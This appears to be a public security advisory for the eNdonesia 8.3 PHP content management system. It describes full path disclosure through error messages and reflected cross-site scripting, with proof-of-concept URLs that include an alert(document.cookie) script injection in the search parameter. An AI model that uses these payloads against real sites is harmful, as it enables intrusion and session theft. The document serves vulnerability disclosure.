Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

eNdonesia is a freeware content management system, written in php by Nurcholis.

Homepage: http://www.endonesia.net/

download at : http://www.sourceforge.net/projects/endonesia

Version :
tested on endonesia 8.3
not tested on other/older version but it is possible be the same

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A. Full path disclosure:

A1. - all scripts in "mod.php" files are not protected against direct access

Example:

http://localhost/endon/mod.php?mod=1

... and we will see standard php error messages, revealing full path to script:

Warning: main(./mod/1/index.php): failed to open stream: \
No such file or directory in /var/www/html/endon/mod.php on line 3

Warning: main(): Failed opening './mod/1/index.php' for inclusion \
(include_path='.:/usr/share/pear') in /var/www/html/endon/mod.php on line 3

A2. 

Example:

http://localhost/endon/mod.php?mod=publisher&op=viewcat&cid=%3Cb%3Etest%3C/b%3

... and we will see standard mysql error messages, revealing full path to script
in module because input character:

http://localhost/endon/mod.php?mod=publisher&op=viewcat&cid=[your chararter]

warning :

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result 
resource 
in /var/www/html/endon/mod/publisher/publisher.php on line 101



B. Cross-site scripting aka XSS:

eNdonesia has built-in filtering against XSS exploits, so additional measures 
must be used
for successful cross-site scripting.

B1 - XSS through unsanitaized user submitted variable in mod.php

 http://localhost/endon/mod.php?mod=[XSS Code here]publisher&op=viewcat&cid=1

POC : 
http://localhost/endon/mod.php?mod=%3Ch1%3Etest-nih-publisher&op=viewcat&cid=dudul

then the warning is

Warning: main(./mod/

test

Epublisher/index.php): failed to open stream: \
No such file or directory in /var/www/html/endon/mod.php on line 3 .

..... with "test" in <h1> format

B2. Session ID at search box

http://localhost/endon/mod.php?mod=publisher&op=search&query=

POC : 

http://localhost/endon/mod.php?mod=publisher&op=search&query=%3Cscript%3Ealert(document.cookie)%3C/script%3E

or in search box, input &lt;script&gt;alert(document.cookie)&lt;/script&gt;
